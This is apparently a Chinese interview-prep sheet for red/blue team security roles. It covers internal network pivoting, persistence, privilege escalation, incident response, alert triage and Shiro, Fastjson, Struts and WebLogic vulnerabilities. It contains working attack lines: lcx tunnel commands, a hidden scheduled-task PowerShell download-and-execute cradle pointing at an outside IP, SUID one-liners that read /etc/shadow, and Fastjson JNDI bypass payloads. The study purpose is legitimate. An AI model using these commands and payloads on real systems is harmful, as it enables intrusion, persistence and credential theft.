内网渗透
拿到webshell,查看本机权限、用户登录情况,是否需要提权
查看本机是否存在域,是否有内网
使用lcx或直接上线cs,建立隧道以便于对内网进一步进行攻击。(使用frp、nps也是一样的)
代码语言:javascript复制目标机器上
lcx.exe -slave vpsip 12345 127.0.0.1 3389
vps上
./lcx -m 2 -p1 12345 -p2 6666
探测内网存活主机和开放端口(可以使用fscan等工具)
用cs或者有免杀效果的mimikatz抓取本机最高权限密码、尝试哈希传递、尝试IPC连接来横向移动获取目标权限
对内网的开放web界面与端口进行攻击,如开放了445端口可以测试是否存在ms17-010漏洞,测试开放的WEB页面是否有RCE漏洞
关于权限维持
Windows
可以尝试创建影子账户
创建定时任务
代码语言:javascript复制schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring("""http://192.168.28.142:8888/logo.gif"""))""
dll劫持
进程注入
可以使用端口复用技术
比如linux可以使用iptables; Windows可以使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用。做到类似把远程登录端口重定向到80端口的效果。
直接使用之前抓取的管理员账号密码登录
linux
可以尝试ssh公私钥免密登录
定时任务反弹shell
利用openssh后门, 设置SSH后门密码及root密码记录位置
rookit后门,自定义验证密码和端口号
创建ssh公私钥,在服务器上写入公钥,使用自己的私钥登录。
提权有哪几种方式
最高权限 system、root
Windows
查看本机补丁情况 systeminfo或者用msf查找缺失的补丁
内核溢出漏洞提权居多,烂土豆提权
也多见于服务提权
组策略提权
令牌窃取 在MSF中,可以使用incognito实现token窃取
bypass UAC提权,可以使用msf对用户账户控制进行提取,把管理提升到system
Linux
主要是内核漏洞和SUID提权
lsb_release -a 查看系统发行版本
uname -a 查看内核版本
常见于脏牛提权CVE-2016-5195(低版本,执行成功返回root权限会话)、CVE-2022-0874(新版本脏牛,代码注入置空root密码)
管理员为了运维管理方便,sudo配置错误,直接可提权
一些早期版本的服务也可能会有提权漏洞,但是这个存在的概率极小 如NFS开启且是root权限运行
mysql提权有UDF提权,MOF提权,写入启动项提权等方式
CVE-2016-6663、CVE-2016-6664组合利用的提权场景,可以将一个www-data权限提升到root权限
代码语言:javascript复制#Find find如果具有suid权限或使用sudo执行,则find -exec执行的命令都会以root权限运行。
find pentestlab -exec whoami ;
#Vim 可以使用命令模式执行系统命令
vim.tiny /etc/shadow
#awk
awk 'BEGIN{system("whoami")}'
#curl
curl file:///etc/shadow
#Bash
bash -p
#Less
less /etc/passwd
#Nmap nmap的2.02-5.21版本具有--interactive选项,可以进入交互模式执行系统命令
nmap --interactive
如若存在域(windows)
可以尝试ms14-068得到域控权限(一个域内用户和密码或hash,suid;利用kerberos的缺陷伪造域管权限访问服务器)
CVE-2020-1472,通过netlogon建立与域控的通道时,获取域管权限
ps: Netlogon服务为域控制器注册所有的srv资源记录。这些记录出现在DNS服务器的正向查询区域你的域名中的_msdcs, _sites, _tcp, and _udp等文件夹中。其他计算机利用这些记录查询域活动目录相关的信息。
应急响应
被上了webshell应该怎么办
定位shell位置,如使用D盾或河马进行扫描
查看事件和web日志,定位webshell的创建时间
进行系统排查,查看是否有可疑用户、隐藏用户、克隆用户、影子账户
排查进程、服务、驱动、模块、启动项
查看网络连接情况,判断是否有可疑ip连接
排查计划任务、异常文件,如temp下的文件
分析流量,查看特殊的referer、accept-language流量特征
分析系统日志,查看是否有危险操作
加固系统,查看webshell的上传点以上报并修复漏洞
网页纂改 应急
隔离被感染主机
排查业务系统
确定漏洞源头、溯源分析
恢复数据和业务
加固系统
DDOS应急响应
预防如下:
部署负载均衡和多节点,服务采用集群;部署抗DDOS设备;部署流量监控设备,结合威胁情报,对异常访问源预警;采用CDN服务
服务器禁止开放业务无关端口。
保证充足的带宽
合理优化系统,避免资源浪费
对特定的流量进行限制
对服务器定期排查
被攻击后溯源和加固:
保留攻击期间的ip分析;报警;加固系统应急
处置方法:
通过抓包、排查设备访问日志来判断DDoS攻击的类型;
封堵访问异常的IP;
针对攻击流量限制访问速率,调整安全设备的防护策略;
流量超出出口带宽,联系运营商进行流量清洗
流量劫持应急响应
局域网DNS劫持处置:
配置静态DNS服务器;
配置hosts文件,绑定静态IP域名,对hosts加密;
对个人终端进行病毒查杀;
修改路由器等设备弱密码,对固件进行更新;
隔离主机
严格进行访问控制
对DNS服务器安全隐患进行排查
广域网DNS劫持:
换一个 8.8.8.8 114.114.114.114 1.1.1.1
HTTP劫持处置:
使用HTTPS协议访问
拆分HTTP请求包
用CSP和DOM事件进行监听防御
链路层劫持处置:
TCP劫持处置:
抓包分析,排查是否在内网,大致物理位置;
若在运营商(ISP)层面,及时联系客服
ARP劫持处置:
绑定IP和MAC;
开启本地ARP防火墙
开启网络设备ARP防护
定位问题主机进行处理
如为蠕虫病毒,部署全面的流量监控。
中了勒索病毒怎么办
在客户同意的情况下,马上下线隔离中招的主机,避免影响到内网中其他的机器。
排查业务系统是否受影响
确定勒索病毒种类,进行溯源分析
恢复受影响的数据和业务
加固系统
中了挖矿木马怎么办
隔离被感染的主机
确认挖矿进程,如查看cpu占用,一般50%以上就很可疑,然后对进程名进行排查
阻断矿池连接,清除挖矿定时任务、启动项
定位挖矿木马位置并删除
加固系统
红蓝对抗
红蓝对抗概念
红蓝对抗的概念最早来源于20世纪60年代的美国演习,演习是专指军队进行大规模的实兵演习,演习中通常分为红军、蓝军,其中蓝军通常是指在部队模拟对抗演习专门扮演假想敌的部队,与红军(代表我方正面部队)进行针对性的训练,这种方式也被称作Red Teaming。
红军作为企业防守方,通过安全加固、攻击监测、应急处置等手段来保障企业安全。而蓝军作为攻击方,以发现安全漏洞,获取业务权限或数据为目标,利用各种攻击手段,试图绕过红军层层防护,达成既定目标。可能会造成混淆的是,在欧美一般采用红队代表攻击方,蓝队代表防守方,颜色代表正好相反。
现在的说法好像是叫做红队蓝军指的是攻击方。
红蓝对抗目的
- • 评估现有防御能力的有效性、识别防御体系的弱点并提出具体的应对方案
- • 利用真实有效的模拟攻击来评估因为安全问题所造成的潜在的业务影响,为安全管理提供有效的数据来量化安全投入的ROI
- • 提高公司安全成熟度及其检测和响应攻击的能力
红蓝对抗流程
攻击准备:明确范围、目标、测试条件;报备与授权流程;行动成本预算
攻击执行:备案时间区间内;备案目标范围内;备案攻击ip与网络环境
攻击完成:恢复所有修改;移除权限维持;提交报告和改进建议
红蓝对抗和渗透测试的区别
渗透测试,是通过模拟黑客攻击行为,评估企业网络资产的状况。通过渗透测试,企业及机构可以了解自身全部的网络资产状态,可以从攻击角度发现系统存在的隐性安全漏洞和网络风险。渗透测试结束后,企业还可以了解自身网络系统有无合法合规、遵从相关安全条例。渗透测试作为一种全新的安全防护手段,让安全防护从被动转换成主动,正被越来越多企业及机构认可。
红蓝队对抗便是针对此方面的测试。红蓝队对抗是以蓝队模拟真实攻击,红队负责防御(与国外刚好相反),最终的结果是攻防双方都会有进步。红蓝队对抗能挖掘出渗透测试中所没注意到风险点,并且能持续对抗,不断提升企业系统的安全防御能力。
总结:渗透测试是找出漏洞;红蓝对抗可以测试即使处理攻击事件的能力
有利于企业在遭受到攻击者成功入侵后知道如何正确应急。
漏洞挖掘经验,cnvd
平时渗透时发现页面存在漏洞,去cnvd和cve中查询是否存在,然后使用fofa、shodan或者hunter批量查询页面指纹,如图片哈希、部分源码等。
写好3-6个案例、10个以上例子就可以提交cnvd。
红队经验:
2021年10月份的攻防演练
信息收集通过子域名挖掘和端口扫描、信息泄露等方式,得到多处登录口,部分可登录的账号密码;
有一可疑注入点,尝试绕过无果;
使用扫描器扫描时发现一处s2漏洞,getshell后第二天掉线了…页面也关闭。
自己讲述经历,怎么getshell怎么说
研判做哪些工作
研判组的工作是对设备组上传的事件进行研判,判断攻击ip来源是哪个机房,是不是内部的ip;
判断事件的类型,比如是注入、远程执行还是恶意文件上传等;
判断受攻击主机是否有代理行为,看看是否有可疑进程,对主机的文件进行扫描以查询是否有木马,对样本进行全流量报文或数据包分析,确定攻击事件,交给应急处理组。
整理如下
确定来源 确定攻击类型 确定是否为攻击行为 确定攻击路径 确定攻击的后果 如已经到哪个地步,可能和已经产生的危害;研判组交一个完整的报告给应急响应组进行响应,反制组通过证据进行反制。
设备组则是查看设备的告警,分析是否误报,将含有恶意流量的事件上报给研判组。
封禁组负责封禁攻击者的恶意IP。(现在几乎看不见这么一个单独的组了)
应急响应组负责对攻击事件进行响应,查看事件带来的后果,对主机进行应急,排查后门等。
溯源组负责对攻击者的信息进行溯源,如日志、攻击IP,溯源到攻击者的身份即可加分!
需注意 日志查看 客户沟通 全流量设备分析( 全流量采集与保存,全行为分析以及全流量回溯 )
如何判断设备误报
把告警中的URL的“网页状态码”、“页面回显数据”
判断来源IP是否内部,来自那个机房
判断告警的流量特征是否恶意
从「待分析告警」中提取攻击特征,通过「攻击特征规则库」进行匹配,看能否获取到「情报线索」
最得意的一次渗透经历
自由发挥,感觉可以说说供应链相关的经历。
恶意流量分析
https://www.yuque.com/sag9gg/rgibcn/xlibyq#0rAFD
https://www.yuque.com/docs/share/f4a01078-3a41-4676-9101-48c3a8ed31a0?#
常见中间件和端口漏洞
https://www.cnblogs.com/xiaozi/p/13296754.html
判断是否出网
ping | icmp |
---|---|
curl | http |
nslookup | dns |
没有明文,只有hash时,可以哈希传递黄金票据和白银票据区别
金票使用krbtgt的hash构造任意tgt
银票伪造TGS,二者依托的
有IPS了,还需要IDS吗
IDS基本上以旁路为主,特点是不阻断任何网络访问,主要以提供报告和事后监督为主,少量的类似产品还提供TCP阻断等功能,但少有使用
IPS解决了IDS无法阻断的问题,基本上以在线模式为主,系统提供多个端口,以透明模式工作。在一些传统防火墙的新产品中也提供了类似功能,其特点是可以分析到数据包的内容,解决传统防火墙只能工作在4层以下的问题。和IDS一样,IPS也要像防病毒系统定义N种已知的攻击模式,并主要通过模式匹配去阻断非法访问
IPS:入侵防御系统(IPS: Intrusion Prevention System)是电脑网络安全设施,是对防病毒软件(Antivirus Programs)和防火墙(Packet Filter, Application Gateway)的补充。入侵预防系统(Intrusion-prevention system)是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。
IDS:IDS是英文“Intrusion Detection Systems”的缩写,中文意思是“入侵检测系统”。专业上讲就是依照一定的安全策略,通过软、硬件,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。做一个形象的比喻:假如防火墙是一幢大楼的门锁,那么IDS就是这幢大楼里的监视系统。一旦小偷爬窗进入大楼,或内部人员有越界行为,只有实时监视系统才能发现情况并发出警告
友人的题
确定来源 确定攻击类型 确定是否为攻击行为 确定攻击路径 确定攻击的后果到哪个地步了,可能和已经产生的危害 研判组交一个完整的报告 交给应急响应组进行效应 反制组通过证据进行反制
常规
参加过护网蓝队,负责事件研判工作,主要使用 ips,ids 等设备做流量监控与日志分析工作判断安全事件是否为误判
研判工作要充分利用已有安全设备,分析告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击
对于告警结合威胁情报库对流量日志的原 IP 地址进行分析,判断其是否为恶意攻击,推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报
然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip 可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别
最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源
问了sql注入原理
过于信任用户的输入,没有对用户的输入进行过滤或者过滤不完全
黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入
预编译
正则表达式过滤
和各种注入特征
宽字节注入原理
gbk编码时,人为两个字符是一个汉字,如�是一个,因为过滤是在敏感字符前加`
1 �吃掉`
\' 的情况,后面的会被前面的 给注释掉。这也是 bypass 的一种方法。
响应包 200 500
数据库信息外带
通过查看数据库中最近新建的表的结构和内容,是否有工具生成的临时表
查询的语法结构和正常业务不同;
查询的范围超出了正常用户的查询内容范围;
基线巡检
基线巡检 就是检查各项设置的脚本
基线指操作系统、数据库及中间件的安全实践及合规检查的配置红线,包括弱口令、账号权限、身份鉴别、密码策略、访问控制、安全审计和入侵防范等安全配置检查
Http请求里都有什么
请求方法URI协议/版本
请求头(Request Header)
请求正文
GET、POST、PUT、Delete、HEAD、Options
HTTP响应
状态行
响应头(Response Header)
响应正文
shiro反序列化编码方式
客户端
记住我的功能,Rememberme的值提交时会被序列化,然后进行aes加密再进行base64编码后形成 后来aes变成国密了
服务端
检索RememberMe cookie的值
base64解码
使用aes解码(加密密钥硬编码)
执行反序列化操作(没有过滤)
- • payload是构造Cookie的RememberMe的值
- • RememberMe的值经过了AES加密、Base64编码
- • 请求包中RememberMe的值通常为512字节,攻击者构造的payload的值一般远高于512字节
将RememberMe的内容通过Shiro RememberMe在线解密的网站进行解密操作
分析解密后的数据可以看到应该为Runtime.getRuntime().exec()这类函数执行了ping命令
java/lang/Runtime* getRuntime()Ljava/lang/Runtime; ,- .ping shiro.l3jj9e.ceye.io0exec'(Ljava/lang/String;)Ljava/lang/Process;
Fastjson反序列化
提供了autotype功能, 允许用户在反序列化数据中通过“@type”指定反序列化的类型
1.2.24
- • 特征为请求数据中含有"@type"字段
- • 原理:Fastjson在处理以@type形式传入的类时,会默认调用该类的共有setgetis函数
<=1.2.47反序列化漏洞
- • 特征为请求数据中含有"@type":"java.lang.Class"字段
- • 原理:利用@type加载dedserializers中的java.lang.class类,里面传参要添加的类,从而调用TypeUtils.loadClass()类来添加com.sun.rowset.jdbcRowSetlmpl类到mapping函数里,最后实现调用@type的值
1.2.25-1.2.41补丁绕过
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
在类名前面加了一个L,可以绕过黑名单
1.2.25-1.2.42补丁绕过
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
在CheckAutoType里面增加了一次对className的提取操作,所以我们再写一对L和;来绕过黑名单
1.2.25-1.2.43补丁绕过
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
绕过:@代替, x2e代替.
Structs S2-015远程代码执行漏洞
- • payload后面加上了.action
- • 远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码。
s2-045
- • payload在content-type中
- • 该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。
常见端口和漏洞序列化原理
- • 序列化:把Java对象转换为字节序列。
- • 反序列化:把字节序列恢复为原先的Java对象。
- • 有流量的厂商可以监控数据中是否包含AC ED 00 05,或者rO0AB等特征。如果发现序列化特征可以进行攻击防护,或者0day挖掘
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 **writeObject() **方法可以实现序列化
php和python中,攻击者构造一个包含魔术方法的类,在魔术方法中调用命令执行或代码执行函数,实例化这个类的一个对象并把对象序列化后发送到程序,程序反序列化对象时触发魔术方法而执行命令。
java中反射机制同理,攻击者构造恶意输入,让反序列化产生非预期对象,产生过程中就带来了恶意代码执行。
weblogin
Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。因此存在弱口令爆破的风险。
在本环境下模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
#SSRF漏洞(CVE-2014-4210):
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中redis、fastcgi等脆弱组件。
#任意文件上传漏洞(CVE-2018-2894):
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
影响版本:10.3.6,12.1.3 12.2.1.2,12.2.1.3
#XML Decoder反序列化漏洞(CVE-2017-10271):
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
影响版本:10.3.6.0,12.1.3.0.0,12.2.1.1.0
#CVE-2015-4852
Weblogic 直接反序列化
是基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2016-0638
Weblogic 直接反序列化
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过 拜Oracle一直以来的黑名单修复方式所赐
#CVE-2016-3510
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2017-3248
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化
#CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP反序列化
#CVE-2018-2893
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过 同样拜Oracle一直以来的黑名单修复方式所赐 属于Weblogic JRMP反序列化
CNVD-C-2019-48814
WebLogic wls-async 反序列化远程命令执行漏洞
该漏洞存在于wls9-async组件,这个组件主要作用是异步通讯服务,攻击者可以向/ _async / AsyncResponseService路径下构造良好的xml格式的数据,并保存在数据中的服务器端反序列化时,执行其中的恶意代码,从而可以getshell。
非常规
内网:AD DC的区别
如何快速定位域控主机。
2012版本服务器如何dump密码
PTT PTK的区别
kerbois协议
约束委派
NTLM中继
双网卡机器快速定位
正向反向代理应用的场景
隐蔽隧道
师傅还有一个问题,lof4j和fastjson怎么联动
java组件进去如何降权
中挖矿怎么办
java反序列化的原理